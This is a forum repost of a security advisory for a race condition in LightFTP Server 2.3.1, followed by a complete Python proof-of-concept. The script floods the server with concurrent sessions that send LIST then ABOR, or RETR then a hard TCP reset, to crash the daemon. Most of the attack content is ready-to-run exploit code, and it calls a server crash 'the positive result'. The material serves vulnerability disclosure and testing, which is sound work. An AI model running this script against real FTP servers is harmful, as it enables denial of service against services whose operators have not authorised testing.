Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!

LightFTP Server 2.3.1 Race Condition

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
1.107
666
www.zeroscience.mk
Python:
#!/usr/bin/env python3
#
#
# LightFTP Server 2.3.1 Race Condition
#
#
# Vendor: LightFTP Project
# Product web page: https://github.com/hfiref0x/LightFTP
# Affected version: 2.3.1
#
# Summary: Small x86-32/x64 FTP Server.
#
# Desc: LightFTP 2.3.1 contains a residual race condition (an incomplete
# fix for CVE-2024-11144) in the worker_thread_cleanup() function of ftpserv.c.
# The control thread reads and acts on shared per-connection state, including
# the worker thread id it then passes to pthread_join()/pthread_cancel(),
# without holding the context->MTLock mutex that the worker threads use when
# updating that same state; and because the workers are detached, their thread
# id can be reused once they exit. A remote (anonymous) client triggers the
# window by starting a data-transfer command such as LIST and immediately
# issuing ABOR, running the unsynchronized cleanup while the worker is still
# finishing. ThreadSanitizer confirms multiple data races on the shared context
# and a mutex being destroyed while still in use, and the cleanup joins or
# cancels a detached, potentially reused thread id, which is undefined behavior
# that can destabilize or crash the daemon and result in denial of service.
# The 2.3.1 patch only narrowed the timing window (an extra re-check and
# reordered cleanup); it never added the missing lock, so the underlying
# race remains.
#
# Tested on: Kali Linux
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6001
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6001
#
# CVE ID: CVE-2026-67607
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-67607
#
#
# 29.07.2026
#

import threading
import argparse
import struct
import socket
import time

_counter_lock = threading.Lock()
_rounds = 0

def _recv(sock, timeout=2.0):
    sock.settimeout(timeout)
    try:
        return sock.recv(4096).decode("latin-1", "replace")
    except OSError:
        return ""

def _send(sock, line):
    sock.sendall((line + "\r\n").encode())

def _pasv_port(resp):
    try:
        a = resp[resp.find("(") + 1: resp.find(")")].split(",")
        if len(a) != 6:
            return None
        return (int(a[4]) << 8) + int(a[5])
    except (ValueError, IndexError):
        return None

def _hard_reset(sock):
    try:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                        struct.pack("ii", 1, 0))
        sock.close()
    except OSError:
        pass

def _one_round(args):
    c = socket.create_connection((args.host, args.port), timeout=5)
    _recv(c)                                  # banner
    _send(c, "USER " + args.user); _recv(c)
    _send(c, "PASS " + args.password); _recv(c)
    _send(c, "TYPE I"); _recv(c)
    _send(c, "PASV")
    dport = _pasv_port(_recv(c))
    if not dport:
        c.close()
        return
    d = socket.create_connection((args.host, dport), timeout=5)
    if args.mode == "drop":
        _send(c, "RETR " + args.file)
        time.sleep(args.gap)
        _hard_reset(c)
        try:
            d.close()
        except OSError:
            pass
    else:
        _send(c, "LIST")
        time.sleep(args.gap)
        _send(c, "ABOR")
        try:
            d.close()
        except OSError:
            pass
        _recv(c, timeout=3)
        try:
            _send(c, "QUIT"); c.close()
        except OSError:
            pass

def session(args, tid):
    global _rounds
    for _ in range(args.iterations):
        try:
            _one_round(args)
            with _counter_lock:
                _rounds += 1
        except OSError:
            break

def main():
    p = argparse.ArgumentParser(description=__doc__,
                                formatter_class=argparse.RawDescriptionHelpFormatter)
    p.add_argument("--host", default="127.0.0.1")
    p.add_argument("--port", type=int, default=2121)
    p.add_argument("--user", default="anonymous")
    p.add_argument("--password", default="x")
    p.add_argument("--connections", type=int, default=16)
    p.add_argument("--iterations", type=int, default=20)
    p.add_argument("--gap", type=float, default=0.0,
                   help="seconds to let the worker run before ABOR / RST")
    p.add_argument("--mode", choices=["abor", "drop"], default="abor",
                   help="abor: LIST+ABOR (data-race path). "
                        "drop: RETR a large file then RST the control "
                        "connection (use-after-free-of-ctx path).")
    p.add_argument("--file", default="big.bin",
                   help="file to RETR in drop mode (make it large, server-side)")
    a = p.parse_args()

    print("[*] mode=%s racing %s:%d with %d connections x %d iterations"
          % (a.mode, a.host, a.port, a.connections, a.iterations))
    threads = [threading.Thread(target=session, args=(a, i))
               for i in range(a.connections)]
    t0 = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    print("[+] completed %d rounds in %.1fs" % (_rounds, time.time() - t0))
    print("    watch gdb for SIGSEGV/SIGABRT (drop mode targets use-after-free "
          "of the stack ctx); a server crash is the positive result.")

if __name__ == "__main__":
    main()


 
— членови онлајн
—мислења
—теми
—членови

Последни теми

Последни огласи

IT.mk/market понуда

Бесплатна достава на 3000 производи
На врв Дно